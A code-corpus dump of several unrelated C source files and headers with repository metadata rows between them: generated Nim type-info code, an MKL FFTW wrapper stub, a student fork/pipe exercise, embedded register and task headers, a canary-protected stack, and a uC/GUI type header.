NTI299005.base = (&NTI285005);
TMP4067[0] = &TMP828[1];
TMP828[1].kind = 1;
TMP828[1].offset = offsetof(trodwriter299005, Module);
TMP828[1].typ = (&NTI224817);
TMP828[1].name = "module";
TMP4067[1] = &TMP828[2];
TMP828[2].kind = 1;
TMP828[2].offset = offsetof(trodwriter299005, Crc);
TMP828[2].typ = (&NTI176010);
TMP828[2].name = "crc";
TMP4067[2] = &TMP828[3];
TMP828[3].kind = 1;
TMP828[3].offset = offsetof(trodwriter299005, Options);
TMP828[3].typ = (&NTI169016);
TMP828[3].name = "options";
TMP4067[3] = &TMP828[4];
TMP828[4].kind = 1;
TMP828[4].offset = offsetof(trodwriter299005, Defines);
TMP828[4].typ = (&NTI149);
TMP828[4].name = "defines";
TMP4067[4] = &TMP828[5];
TMP828[5].kind = 1;
TMP828[5].offset = offsetof(trodwriter299005, Incldeps);
TMP828[5].typ = (&NTI149);
TMP828[5].name = "inclDeps";
TMP4067[5] = &TMP828[6];
TMP828[6].kind = 1;
TMP828[6].offset = offsetof(trodwriter299005, Moddeps);
TMP828[6].typ = (&NTI149);
TMP828[6].name = "modDeps";
TMP4067[6] = &TMP828[7];
TMP828[7].kind = 1;
TMP828[7].offset = offsetof(trodwriter299005, Interf);
TMP828[7].typ = (&NTI149);
TMP828[7].name = "interf";
TMP4067[7] = &TMP828[8];
TMP828[8].kind = 1;
TMP828[8].offset = offsetof(trodwriter299005, Compilerprocs);
TMP828[8].typ = (&NTI149);
TMP828[8].name = "compilerProcs";
TMP4067[8] = &TMP828[9];
TMP828[9].kind = 1;
TMP828[9].offset = offsetof(trodwriter299005, Index);
TMP828[9].typ = (&NTI275028);
TMP828[9].name = "index";
TMP4067[9] = &TMP828[10];
TMP828[10].kind = 1;
TMP828[10].offset = offsetof(trodwriter299005, Imports);
TMP828[10].typ = (&NTI275028);
TMP828[10].name = "imports";
TMP4067[10] = &TMP828[11];
TMP828[11].kind = 1;
TMP828[11].offset = offsetof(trodwriter299005, Converters);
TMP828[11].typ = (&NTI149);
TMP828[11].name = "converters";
TMP4067[11] = &TMP828[12];
TMP828[12].kind = 1;
TMP828[12].offset = offsetof(trodwriter299005, Methods);
TMP828[12].typ = (&NTI149);
TMP828[12].name = "methods";
TMP4067[12] = &TMP828[13];
TMP828[13].kind = 1;
TMP828[13].offset = offsetof(trodwriter299005, Init);
TMP828[13].typ = (&NTI149);
TMP828[13].name = "init";
TMP4067[13] = &TMP828[14];
TMP828[14].kind = 1;
TMP828[14].offset = offsetof(trodwriter299005, Data);
TMP828[14].typ = (&NTI149);
TMP828[14].name = "data";
TMP4067[14] = &TMP828[15];
TMP828[15].kind = 1;
TMP828[15].offset = offsetof(trodwriter299005, Sstack);
TMP828[15].typ = (&NTI224821);
TMP828[15].name = "sstack";
TMP4067[15] = &TMP828[16];
TMP828[16].kind = 1;
TMP828[16].offset = offsetof(trodwriter299005, Tstack);
TMP828[16].typ = (&NTI224851);
TMP828[16].name = "tstack";
TMP4067[16] = &TMP828[17];
TMP828[17].kind = 1;
TMP828[17].offset = offsetof(trodwriter299005, Files);
TMP828[17].typ = (&NTI119408);
TMP828[17].name = "files";
TMP4067[17] = &TMP828[18];
TMP828[18].kind = 1;
TMP828[18].offset = offsetof(trodwriter299005, Origfile);
TMP828[18].typ = (&NTI149);
TMP828[18].name = "origFile";
TMP828[0].len = 18; TMP828[0].kind = 2; TMP828[0].sons = &TMP4067[0];
NTI299005.node = &TMP828[0];
NTI299007.size = sizeof(trodwriter299005*);
NTI299007.kind = 22;
NTI299007.base = (&NTI299005);
NTI299007.marker = TMP4068;
}
| [
"dominikpicheta@googlemail.com"
] | dominikpicheta@googlemail.com |
18ac5afd36f73f9477cd9c3a10eecbadf3ef8b50 | 51928337483095b12f046eda9ea17ba0b1a81fc0 | /3rdparty/mkl/compilers_and_libraries_2017.2.187/windows/mkl/interfaces/fftw2xf/wrappers/rfftw_fprint_plan.c | 054ff3f400e80234916c95f821684e12b834fc2c | [] | no_license | kingofthebongo2008/geometry_images | 8592aa99e53a16821725a2564313eeafb0462362 | 53109f9bc9ea19d0f119f0fe71762248d5038213 | refs/heads/master | 2021-01-19T03:02:56.996122 | 2017-07-06T13:25:47 | 2017-07-06T13:25:47 | 87,302,727 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,690 | c | /*******************************************************************************
* Copyright 2010-2017 Intel Corporation All Rights Reserved.
*
* The source code, information and material ("Material") contained herein is
* owned by Intel Corporation or its suppliers or licensors, and title to such
* Material remains with Intel Corporation or its suppliers or licensors. The
* Material contains proprietary information of Intel or its suppliers and
* licensors. The Material is protected by worldwide copyright laws and treaty
* provisions. No part of the Material may be used, copied, reproduced,
* modified, published, uploaded, posted, transmitted, distributed or disclosed
* in any way without Intel's prior express written permission. No license under
* any patent, copyright or other intellectual property rights in the Material
* is granted to or conferred upon you, either expressly, by implication,
* inducement, estoppel or otherwise. Any license under such intellectual
* property rights must be express and approved by Intel in writing.
*
* Unless otherwise agreed by Intel in writing, you may not remove or alter this
* notice or any other notice embedded in Materials by Intel or Intel's
* suppliers or licensors in any way.
*******************************************************************************/
/*
*
* rfftw_fprint_plan - FFTW2 wrapper to MKL.
*
******************************************************************************
*/
#include "fftw2_mkl.h"
/* FFTW2 documentation doesn't cover this function. */
void
rfftw_fprint_plan(FILE *f, rfftw_plan plan)
{
UNUSED(f);
UNUSED(plan);
}
| [
"stefan.dyulgerov@gmail.com"
] | stefan.dyulgerov@gmail.com |
cb294f4aa9b50cad140f835603c8996297d8bd6f | 4d872d33309b00d78b981e28a7f8e52d9b0a30ae | /Exercicios/7/q3.c | d4c4a6338fb8732e8796fe07d9ef2f75dffdce49 | [] | no_license | pedrobcbr/Embarcados | 6b32a845e8e855e2580f13b5409412d3081388bf | a123dc64cb41ce3d0806752663ca4c518753c239 | refs/heads/master | 2020-04-29T19:39:50.620844 | 2019-07-06T01:52:12 | 2019-07-06T01:52:12 | 176,362,726 | 0 | 0 | null | null | null | null | ISO-8859-1 | C | false | false | 1,511 | c | #include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
int main()
{
int pid;
int fd[2];
// Cria o pipe
pipe(fd);
// Cria o processo
pid = fork();
// Codigo do filho
if(pid == 0)
{
char buffer_filho[100], msg_filho[100] = "FILHO1: Quando o vento passa, é a bandeira que se move.";
if (write(fd[1], msg_filho, sizeof(msg_filho)) < 0)
printf("Erro na escrita\n");
//if(read(fd[0], buffer_filho, 100) < 0)
// printf("Erro na leitura do pipe\n");
//else
//printf("%s\n", buffer_filho);
}
else
// Cria o pipe
pipe(fd);
// Cria o processo
pid = fork();
// Codigo do filho
if(pid == 0)
{
char buffer_filho[100], msg_filho[100] = "FILHO2: Não, é o vento que se move.";
if (write(fd[1], msg_filho, sizeof(msg_filho)) < 0)
printf("Erro na escrita\n");
if(read(fd[0], buffer_filho, 100) < 0)
printf("Erro na leitura do pipe\n");
else
printf("%s\n", buffer_filho);
}
else
{
char buffer_pai[100], msg_pai[100] = "PAI: Não façais nada violento, praticai somente aquilo que é justo e equilibrado.";
sleep(1);
if (write(fd[1], msg_pai, sizeof(msg_pai)) < 0)
printf("Erro na escrita do pipe\n");
wait(NULL);
if(read(fd[0], buffer_pai, 100) < 0)
printf("Erro na leitura do pipe\n");
else
printf("%s\n", buffer_pai);
}
return 0;
} | [
"noreply@github.com"
] | pedrobcbr.noreply@github.com |
f744679eb73d6e83fb88ba97e8d0cc905cf0d844 | 4c4adeef3f2a8252fa9d1b6486df8813695faff9 | /src/InfineonRacer_TC23A/0_Src/AppSw/Tricore/Main/TestGtm/AppTaskFu.h | 2a5314f520b2902f6d3f084bafe7a072a83309b2 | [] | no_license | realsosy/InfineonRacer | 637fd1364e47f99cd0cb830f93b6e175b54e84d5 | 7fc847ba9eb1d3caa230baa7240fd332bcaa1d13 | refs/heads/master | 2021-04-26T03:05:31.202330 | 2019-04-04T15:15:02 | 2019-04-04T15:15:02 | 124,036,690 | 32 | 26 | null | 2019-02-11T08:08:28 | 2018-03-06T07:13:12 | C | UTF-8 | C | false | false | 476 | h | #ifndef APPTASKFU_H_
#define APPTASKFU_H_
#include <Ifx_Types.h>
#include "Basic.h"
#include "AsclinShellInterface.h"
IFX_EXTERN boolean task_flag_1m;
IFX_EXTERN boolean task_flag_10m;
IFX_EXTERN boolean task_flag_100m;
IFX_EXTERN boolean task_flag_1000m;
void appTaskfu_init(void);
void appTaskfu_1ms(void);
void appTaskfu_10ms(void);
void appTaskfu_100ms(void);
void appTaskfu_1000ms(void);
void appTaskfu_idle(void);
void appIsrCb_1ms(void);
#endif /* APPTASKFU_H_ */
| [
"wootaik@gmail.com"
] | wootaik@gmail.com |
26bcae31d264a36ce15d2cbe9875268558830c47 | fe6c714ca3f7b5dc389c00dcc1fdf0ed6f32b3ca | /ProtectedStack/stack.c | be3a916b983d0618660f9c979768dd106b6ecd8a | [] | no_license | riggertt0/PhystechTasks | d22addd5f6ccf22fd5582772e14d72e32a77cb08 | fdb59b2a2cc8aee323d8302a781ec6076b649a3c | refs/heads/master | 2023-02-02T10:58:30.809890 | 2020-12-17T17:52:50 | 2020-12-17T17:52:50 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 5,297 | c | #define COEF_OF_REALLOC 2
#define CORONARY_VALUE 0xBADC0FFEE
#define DEBUG_MODE
#ifdef DEBUG_MODE
#define ASSERT_OK(thov) if(stackOK(thov)) {printf("ERROR:%d\n",stackOK(thov));stackDump(thov); assert(!"OK");}
#else
#define ASSERT_OK ;
#endif
typedef int Elem_t;
typedef long hash_t;
typedef long coronary_t;
struct stack_t {
coronary_t beginCoronary;
Elem_t* data;
size_t length;
size_t capacity;
hash_t protectingHash;
coronary_t endCoronary;
};
enum error_t {
NO_ERROR = 0,
POINTER_ON_STACK_IS_NULL, //1
POINTER_ON_DATA_IS_NULL, //2
LENGTH_BIGGER_THAN_CAPACITY, //3
CAPACITY_LOWER_THAN_ONE, //4
BEGIN_CORONARY_DEAD, //5
END_CORONARY_DEAD, //6
WRONG_HASH //7
};
stack_t* newStack (size_t capacity);
void stackConstructor (stack_t* thov, size_t capacity);
void stackDesructor (stack_t* thov);
void stackPush (stack_t* thov, Elem_t element);
Elem_t stackPop (stack_t* thov);
Elem_t stackTop (stack_t* thov);
void stackDump (stack_t* thov);
bool changeMemory (stack_t* thov, int dir);
bool addMemory (stack_t* thov);
bool lessMemory (stack_t* thov);
error_t stackOK (stack_t* thov);
hash_t getHash (stack_t* thov);
void stackConstructor (stack_t* thov, size_t capacity) {
thov->data = (Elem_t*) calloc (capacity, sizeof(Elem_t));
assert (thov->data); //??
thov->capacity = capacity;
thov->beginCoronary = CORONARY_VALUE;
thov->endCoronary = CORONARY_VALUE;
thov->protectingHash = getHash (thov);
ASSERT_OK(thov)
}
stack_t* newStack (size_t capacity) {
stack_t* thov = (stack_t*) calloc (capacity, sizeof(stack_t));
assert (thov);
stackConstructor (thov, capacity);
ASSERT_OK(thov)
return thov;
};
void stackDesructor (stack_t* thov) {
assert (thov);
thov->data = NULL;
thov->capacity = 0;
free (thov);
};
void stackPush (stack_t* thov, Elem_t element) {
ASSERT_OK(thov)
if (thov->length == thov->capacity) {
addMemory (thov);
}
thov->data[thov->length++] = element;
thov->protectingHash = getHash (thov);
ASSERT_OK(thov)
};
int stackPop (stack_t* thov) {
ASSERT_OK(thov)
if (thov->length * COEF_OF_REALLOC < thov->capacity) {
lessMemory (thov);
}
thov->data[thov->length] = NAN;
thov->length--;
thov->protectingHash = getHash (thov);
ASSERT_OK(thov)
return thov->data[thov->length];
};
int stackTop (stack_t* thov) {
ASSERT_OK(thov)
return thov->data[thov->length - 1];
}
error_t stackOK (stack_t* thov) {
if (thov == NULL) {
return POINTER_ON_STACK_IS_NULL;
}
if (thov->data == NULL) {
return POINTER_ON_DATA_IS_NULL;
}
if (thov->length > thov->capacity) {
return LENGTH_BIGGER_THAN_CAPACITY;
}
if (thov->capacity < 1 ) {
return CAPACITY_LOWER_THAN_ONE;
}
if ((long)thov->beginCoronary != (long)CORONARY_VALUE) {
return BEGIN_CORONARY_DEAD;
}
if ((long)thov->endCoronary != (long)CORONARY_VALUE) {
return END_CORONARY_DEAD;
}
if (thov->protectingHash != getHash (thov)) {
return WRONG_HASH;
}
return NO_ERROR;
};
bool changeMemory (stack_t* thov, int dir) {
ASSERT_OK(thov)
//thov->capacity += dir * SIZE_OF_REALLOC;
if (dir == 1) {
thov->capacity *= COEF_OF_REALLOC;
} else {
thov->capacity /= COEF_OF_REALLOC;
}
Elem_t* possibleAdress = (Elem_t*) realloc (thov->data, thov->capacity * sizeof(Elem_t));
if (possibleAdress != NULL) {
thov->data = possibleAdress;
thov->protectingHash = getHash (thov);
return true;
} else {
return false;
}
};
bool addMemory (stack_t* thov) {
ASSERT_OK(thov)
return changeMemory (thov, 1);
};
bool lessMemory (stack_t* thov) {
ASSERT_OK(thov)
if (thov != NULL && thov->capacity > 1) {
return changeMemory (thov, -1);
} else {
return false;
}
};
hash_t getHash (stack_t* thov) {
assert (thov); //Can't use ASSERT_OK
hash_t newHash = thov->length + thov->capacity;
for (int i = 0; i < thov->length; i++) {
newHash += thov->data[i] * (i + 1);
}
return newHash;
};
void stackDump (stack_t* thov) {
assert (thov);
//Name of struct, is it OK and adress
printf("stack_t (%d) [%ld] \n", !stackOK(thov), thov);
//length and capacity
printf("length=%d \ncapacity=%d \n", thov->length, thov->capacity);
//coronarys and hash
printf("beginCoronary=%d \nendCoronary=%d \nprotectingHash=%ld \n", thov->beginCoronary, thov->endCoronary, thov->protectingHash);
//data
printf("data [%ld] \n", thov->data);
for (int i = 0; i < thov->length; i++) {
if (thov->data[i] == NAN) {
printf("data[%d] [%ld] = NAN (POISON!) \n", i, &(thov->data[i]));
} else {
printf("data[%d] [%ld] = %d \n", i, &(thov->data[i]), thov->data[i]);
}
}
};
| [
"noreply@github.com"
] | riggertt0.noreply@github.com |
95ff07228ffffea7def1c7e0ae1318a177ce9afe | e53ae9c98f54650697d829dcef711132e2a659e3 | /include/HL_reg_htu.h | 37c294c79e427527974df7bd26e4c77e7c8b4dd4 | [] | no_license | piense/rm57-i2c-repeated-start | 049dfd98339678245176e9cd47fdc8f8cdcf09a1 | d7f68c0394fb35011feaf4778631a7ddfb61b4e7 | refs/heads/master | 2021-01-19T17:41:18.910342 | 2017-08-22T16:22:42 | 2017-08-22T16:22:42 | 101,083,730 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,133 | h | /** @file HL_reg_htu.h
* @brief HTU Register Layer Header File
* @date 02-Mar-2016
* @version 04.05.02
*
* This file contains:
* - Definitions
* - Types
* - Interface Prototypes
* .
* which are relevant for the HTU driver.
*/
/*
* Copyright (C) 2009-2016 Texas Instruments Incorporated - www.ti.com
*
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
*
* Neither the name of Texas Instruments Incorporated nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef __REG_HTU_H__
#define __REG_HTU_H__
#include "HL_sys_common.h"
/* USER CODE BEGIN (0) */
/* USER CODE END */
/* htu Register Frame Definition */
/** @struct htuBase
* @brief HTU Base Register Definition
*
* This structure is used to access the HTU module registers.
*/
/** @typedef htuBASE_t
* @brief HTU Register Frame Type Definition
*
* This type is used to access the HTU Registers.
*/
typedef volatile struct htuBase
{
uint32 GC; /** 0x00 */
uint32 CPENA; /** 0x04 */
uint32 BUSY0; /** 0x08 */
uint32 BUSY1; /** 0x0C */
uint32 BUSY2; /** 0x10 */
uint32 BUSY3; /** 0x14 */
uint32 ACPE; /** 0x18 */
uint32 rsvd1; /** 0x1C */
uint32 RLBECTRL; /** 0x20 */
uint32 BFINTS; /** 0x24 */
uint32 BFINTC; /** 0x28 */
uint32 INTMAP; /** 0x2C */
uint32 rsvd2; /** 0x30 */
uint32 INTOFF0; /** 0x34 */
uint32 INTOFF1; /** 0x38 */
uint32 BIM; /** 0x3C */
uint32 RLOSTFL; /** 0x40 */
uint32 BFINTFL; /** 0x44 */
uint32 BERINTFL; /** 0x48 */
uint32 MP1S; /** 0x4C */
uint32 MP1E; /** 0x50 */
uint32 DCTRL; /** 0x54 */
uint32 WPR; /** 0x58 */
uint32 WMR; /** 0x5C */
uint32 ID; /** 0x60 */
uint32 PCR; /** 0x64 */
uint32 PAR; /** 0x68 */
uint32 rsvd3; /** 0x6C */
uint32 MPCS; /** 0x70 */
uint32 MP0S; /** 0x74 */
uint32 MP0E; /** 0x78 */
} htuBASE_t;
typedef volatile struct htudcp
{
uint32 IFADDRA;
uint32 IFADDRB;
uint32 IHADDRCT;
uint32 ITCOUNT;
} htudcp_t;
typedef volatile struct htucdcp
{
uint32 CFADDRA;
uint32 CFADDRB;
uint32 CFCOUNT;
uint32 rsvd4;
} htucdcp_t;
#define htuREG1 ((htuBASE_t *)0xFFF7A400U)
#define htuREG2 ((htuBASE_t *)0xFFF7A500U)
#define htuDCP1 ((htudcp_t *)0xFF4E0000U)
#define htuDCP2 ((htudcp_t *)0xFF4C0000U)
#define htuCDCP1 ((htucdcp_t *)0xFF4E0100U)
#define htuCDCP2 ((htucdcp_t *)0xFF4C0100U)
/* USER CODE BEGIN (1) */
/* USER CODE END */
#endif
| [
"piense@gmail.com"
] | piense@gmail.com |
5d84e5467fe67aafefd7dc0e0129d3758bfb0885 | 1223b44a0464df655d31af70ab28ef1b4f2f00b8 | /Libraries/uCGUI_LIB/USER/uCGUI/Core/GUIType.h | 0d484ca42e7c12c766f7d6776af54f7311957b8f | [] | no_license | ekuiter/stm32-projects | caa70a639e15ece2cb0b6f3234c92ef11d3abcde | 4006d9f795ed6ab3076d940d2368d974e39cc462 | refs/heads/master | 2021-05-04T11:24:06.728576 | 2019-01-25T10:41:23 | 2019-01-25T10:41:23 | 43,648,835 | 4 | 2 | null | null | null | null | WINDOWS-1252 | C | false | false | 12,778 | h | /*
*********************************************************************************************************
* uC/GUI
* Universal graphic software for embedded applications
*
* (c) Copyright 2002, Micrium Inc., Weston, FL
* (c) Copyright 2002, SEGGER Microcontroller Systeme GmbH
*
* µC/GUI is protected by international copyright laws. Knowledge of the
* source code may not be used to write a similar product. This file may
* only be used in accordance with a license and should not be redistributed
* in any way. We appreciate your understanding and fairness.
*
----------------------------------------------------------------------
File : GUIType.h
Purpose : Include file define the types used for GUI
---------------------------END-OF-HEADER------------------------------
Attention : Do not modify this file ! If you do, you will not
be able do update to a later GUI version !
*/
#ifndef GUITYPE_H_INCLUDED
#define GUITYPE_H_INCLUDED
#include "LCD.h"
#include "GUIConf.h"
/* *************************************************************
* *
* Simple types *
* *
*************************************************************
*/
typedef const char * GUI_ConstString;
/* *************************************************************
* *
* Structures *
* *
*************************************************************
*/
typedef LCD_COLOR GUI_COLOR;
typedef LCD_LOGPALETTE GUI_LOGPALETTE;
typedef LCD_DRAWMODE GUI_DRAWMODE;
typedef LCD_RECT GUI_RECT;
typedef struct {
void (* pfDraw)(int x0,int y0,int xsize, int ysize, const U8 GUI_UNI_PTR * pPixel, const LCD_LOGPALETTE GUI_UNI_PTR * pLogPal, int xMag, int yMag);
GUI_COLOR (* pfIndex2Color)(int Index);
} GUI_BITMAP_METHODS;
typedef struct {
U16P XSize;
U16P YSize;
U16P BytesPerLine;
U16P BitsPerPixel;
const U8 GUI_UNI_PTR * pData;
const GUI_LOGPALETTE GUI_UNI_PTR * pPal;
const GUI_BITMAP_METHODS * pMethods;
} GUI_BITMAP;
/* This structure may not be changed because the data that it
expects is read in binary form (via any kind of interface,
at runtime).
This structure should therefor not be changed.
*/
typedef struct {
U16 ID; /* Version 1.00 => 100*/
U16 Version;
U16 XSize;
U16 YSize;
U16 BytesPerLine;
U16 BitsPerPixel;
U16 NumColors;
U16 HasTrans;
} GUI_BITMAP_STREAM;
typedef struct {
int x,y;
unsigned char Pressed;
} GUI_PID_STATE;
/*
****************************************
* *
* FONT structures (new in V1.10) *
* *
****************************************
*/
/* Translation list. Translates a character code into up to 2
indices of images to display on top of each other;
'á' -> index('a'), index('´') */
typedef struct {
I16P c0;
I16P c1;
} GUI_FONT_TRANSLIST;
typedef struct {
U16P FirstChar;
U16P LastChar;
const GUI_FONT_TRANSLIST GUI_UNI_PTR * pList;
} GUI_FONT_TRANSINFO;
typedef struct {
U8 XSize;
U8 XDist;
U8 BytesPerLine;
const unsigned char GUI_UNI_PTR * pData;
} GUI_CHARINFO;
typedef struct GUI_FONT_PROP {
U16P First; /* first character */
U16P Last; /* last character */
const GUI_CHARINFO GUI_UNI_PTR * paCharInfo; /* address of first character */
const struct GUI_FONT_PROP GUI_UNI_PTR * pNext; /* pointer to next */
} GUI_FONT_PROP;
typedef struct {
const unsigned char GUI_UNI_PTR * pData;
const U8 GUI_UNI_PTR * pTransData;
const GUI_FONT_TRANSINFO GUI_UNI_PTR * pTrans;
U16P FirstChar;
U16P LastChar;
U8 XSize;
U8 XDist;
U8 BytesPerLine;
} GUI_FONT_MONO;
typedef struct GUI_FONT_INFO {
U16P First; /* first character */
U16P Last; /* last character */
const GUI_CHARINFO* paCharInfo; /* address of first character */
const struct GUI_FONT_INFO* pNext; /* pointer to next */
} GUI_FONT_INFO;
/*
****************************************
* *
* FONT info structure *
* *
****************************************
This structure is used when retrieving information about a font.
It is designed for future expansion without incompatibilities.
*/
typedef struct {
U16 Flags;
U8 Baseline;
U8 LHeight; /* height of a small lower case character (a,x) */
U8 CHeight; /* height of a small upper case character (A,X) */
} GUI_FONTINFO;
#define GUI_FONTINFO_FLAG_PROP (1<<0) /* Is proportional */
#define GUI_FONTINFO_FLAG_MONO (1<<1) /* Is monospaced */
#define GUI_FONTINFO_FLAG_AA (1<<2) /* Is an antialiased font */
#define GUI_FONTINFO_FLAG_AA2 (1<<3) /* Is an antialiased font, 2bpp */
#define GUI_FONTINFO_FLAG_AA4 (1<<4) /* Is an antialiased font, 4bpp */
/**********************************************************************
*
* UNICODE Encoding
*
***********************************************************************
*/
typedef U16 tGUI_GetCharCode(const char GUI_UNI_PTR *s);
typedef int tGUI_GetCharSize(const char GUI_UNI_PTR *s);
typedef int tGUI_CalcSizeOfChar(U16 Char);
typedef int tGUI_Encode(char *s, U16 Char);
typedef struct {
tGUI_GetCharCode* pfGetCharCode;
tGUI_GetCharSize* pfGetCharSize;
tGUI_CalcSizeOfChar* pfCalcSizeOfChar;
tGUI_Encode* pfEncode;
} GUI_UC_ENC_APILIST;
/**********************************************************************
*
* FONT Encoding
*
***********************************************************************
*/
typedef int tGUI_GetLineDistX(const char GUI_UNI_PTR *s, int Len);
typedef int tGUI_GetLineLen(const char GUI_UNI_PTR *s, int MaxLen);
typedef void tGL_DispLine(const char GUI_UNI_PTR *s, int Len);
typedef struct {
tGUI_GetLineDistX* pfGetLineDistX;
tGUI_GetLineLen* pfGetLineLen;
tGL_DispLine* pfDispLine;
} tGUI_ENC_APIList;
extern const tGUI_ENC_APIList GUI_ENC_APIList_SJIS;
/*
****************************************
* *
* FONT methods *
* *
****************************************
The parameter to the methods called pFont should be of type
GUI_FONT, but unfortunately a lot of compilers can not handle
forward declarations right ...
So it ends up to be a void pointer.
*/
typedef struct GUI_FONT GUI_FONT;
typedef void GUI_DISPCHAR(U16 c);
typedef int GUI_GETCHARDISTX(U16P c);
typedef void GUI_GETFONTINFO(const GUI_FONT GUI_UNI_PTR * pFont, GUI_FONTINFO * pfi);
typedef char GUI_ISINFONT (const GUI_FONT GUI_UNI_PTR * pFont, U16 c);
#define DECLARE_FONT(Type) \
void GUI##Type##_DispChar (U16P c); \
int GUI##Type##_GetCharDistX(U16P c); \
void GUI##Type##_GetFontInfo (const GUI_FONT GUI_UNI_PTR * pFont, GUI_FONTINFO * pfi); \
char GUI##Type##_IsInFont (const GUI_FONT GUI_UNI_PTR * pFont, U16 c)
#if defined(__cplusplus)
extern "C" { /* Make sure we have C-declarations in C++ programs */
#endif
/* MONO: Monospaced fonts */
DECLARE_FONT(MONO);
#define GUI_FONTTYPE_MONO \
GUIMONO_DispChar, \
GUIMONO_GetCharDistX, \
GUIMONO_GetFontInfo, \
GUIMONO_IsInFont, \
(tGUI_ENC_APIList*)0
/* PROP: Proportional fonts */
DECLARE_FONT(PROP);
#define GUI_FONTTYPE_PROP \
GUIPROP_DispChar, \
GUIPROP_GetCharDistX, \
GUIPROP_GetFontInfo, \
GUIPROP_IsInFont, \
(tGUI_ENC_APIList*)0
/* PROP: Proportional fonts SJIS */
DECLARE_FONT(PROP);
#define GUI_FONTTYPE_PROP_SJIS \
GUIPROP_DispChar, \
GUIPROP_GetCharDistX, \
GUIPROP_GetFontInfo, \
GUIPROP_IsInFont, \
&GUI_ENC_APIList_SJIS
/* PROPAA: Proportional, antialiased fonts */
DECLARE_FONT(PROPAA);
#define GUI_FONTTYPE_PROPAA \
GUIPROPAA_DispChar, \
GUIPROPAA_GetCharDistX, \
GUIPROPAA_GetFontInfo, \
GUIPROPAA_IsInFont, \
(tGUI_ENC_APIList*)0
/* PROPAA: Proportional, antialiased fonts, 2bpp */
DECLARE_FONT(PROP_AA2);
#define GUI_FONTTYPE_PROP_AA2 \
GUIPROP_AA2_DispChar, \
GUIPROP_AA2_GetCharDistX, \
GUIPROP_AA2_GetFontInfo, \
GUIPROP_AA2_IsInFont, \
(tGUI_ENC_APIList*)0
/* PROPAA: Proportional, antialiased fonts, 2bpp, SJIS encoding */
DECLARE_FONT(PROP_AA2);
#define GUI_FONTTYPE_PROP_AA2_SJIS \
GUIPROP_AA2_DispChar, \
GUIPROP_AA2_GetCharDistX, \
GUIPROP_AA2_GetFontInfo, \
GUIPROP_AA2_IsInFont, \
GUI_ENCODE_SJIS
/* PROPAA: Proportional, antialiased fonts, 4bpp */
DECLARE_FONT(PROP_AA4);
#define GUI_FONTTYPE_PROP_AA4 \
GUIPROP_AA4_DispChar, \
GUIPROP_AA4_GetCharDistX, \
GUIPROP_AA4_GetFontInfo, \
GUIPROP_AA4_IsInFont, \
(tGUI_ENC_APIList*)0
/* PROPAA: Proportional, antialiased fonts, 4bpp, SJIS encoding */
DECLARE_FONT(PROP_AA4);
#define GUI_FONTTYPE_PROP_AA4_SJIS \
GUIPROP_AA4_DispChar, \
GUIPROP_AA4_GetCharDistX, \
GUIPROP_AA4_GetFontInfo, \
GUIPROP_AA4_IsInFont, \
GUI_ENCODE_SJIS
#if defined(__cplusplus)
}
#endif
struct GUI_FONT {
GUI_DISPCHAR* pfDispChar;
GUI_GETCHARDISTX* pfGetCharDistX;
GUI_GETFONTINFO* pfGetFontInfo;
GUI_ISINFONT* pfIsInFont;
const tGUI_ENC_APIList* pafEncode;
U8 YSize;
U8 YDist;
U8 XMag;
U8 YMag;
union {
const void GUI_UNI_PTR * pFontData;
const GUI_FONT_MONO GUI_UNI_PTR * pMono;
const GUI_FONT_PROP GUI_UNI_PTR * pProp;
} p;
U8 Baseline;
U8 LHeight; /* height of a small lower case character (a,x) */
U8 CHeight; /* height of a small upper case character (A,X) */
};
/*********************************************************************
*
* Position independent font structures
*/
typedef struct {
U32 ID; /* Font file ID */
U16 YSize; /* Height of font */
U16 YDist; /* Space of font Y */
U16 Baseline; /* Index of baseline */
U16 LHeight; /* Height of a small lower case character (a) */
U16 CHeight; /* Height of a upper case character (A) */
U16 NumAreas; /* Number of character areas */
} GUI_SI_FONT;
typedef struct {
U16 First; /* Index of first character */
U16 Last; /* Index of last character */
} GUI_SIF_CHAR_AREA;
typedef struct {
U16 XSize; /* Size of bitmap data in X */
U16 XDist; /* Number of pixels for increment cursor in X */
U16 BytesPerLine; /* Number of bytes per line */
U16 Dummy;
U32 OffData; /* Offset of pixel data */
} GUI_SIF_CHARINFO;
typedef struct tGUI_SIF_APIList_struct {
GUI_DISPCHAR * pDispChar;
GUI_GETCHARDISTX * pGetCharDistX;
GUI_GETFONTINFO * pGetFontInfo;
GUI_ISINFONT * pIsInFont;
} tGUI_SIF_APIList;
#define GUI_SIF_TYPE tGUI_SIF_APIList
#define GUI_SIF_TYPE_PROP &GUI_SIF_APIList_Prop
extern const tGUI_SIF_APIList GUI_SIF_APIList_Prop;
/*
*********************************
* *
* Typedefs *
* *
*********************************
*/
#ifndef GUI_HMEM
#define GUI_HMEM I16P
#endif
#define GUI_HMEM_NULL (0)
typedef GUI_HMEM GUI_HWIN;
#endif /* GUITYPE_H_INCLUDED */
/*************************** End of file ****************************/
